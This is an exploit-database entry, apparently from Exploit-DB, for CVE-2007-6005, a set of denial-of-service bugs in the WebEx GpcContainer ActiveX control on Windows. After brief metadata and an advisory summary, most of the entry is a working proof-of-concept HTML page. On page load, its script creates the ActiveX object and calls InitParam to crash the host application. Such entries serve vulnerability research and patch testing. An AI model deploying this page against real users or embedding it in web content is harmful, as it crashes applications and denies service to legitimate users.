[] NeoSense

WebEx GPCContainer - Memory Access Violation Multiple Denial of Service Vulnerabilities

Author: Elazar Broad
type: dos
platform: windows
port: 
date_added: 2007-11-13 
date_updated: 2014-01-06 
verified: 1 
codes: CVE-2007-6005;OSVDB-45294 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/26430/info

WebEx is prone to multiple remote denial-of-service vulnerabilities.

Attackers can exploit these issues to crash applications that use the ActiveX control, denying service to legitimate users.

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
        var obj = new ActiveXObject("GpcContainer.GpcContainer.1");

        obj.InitParam("A");
}
  </script>

 </head>
 <body onLoad="JavaScript: return Check();">

 </body>

</html>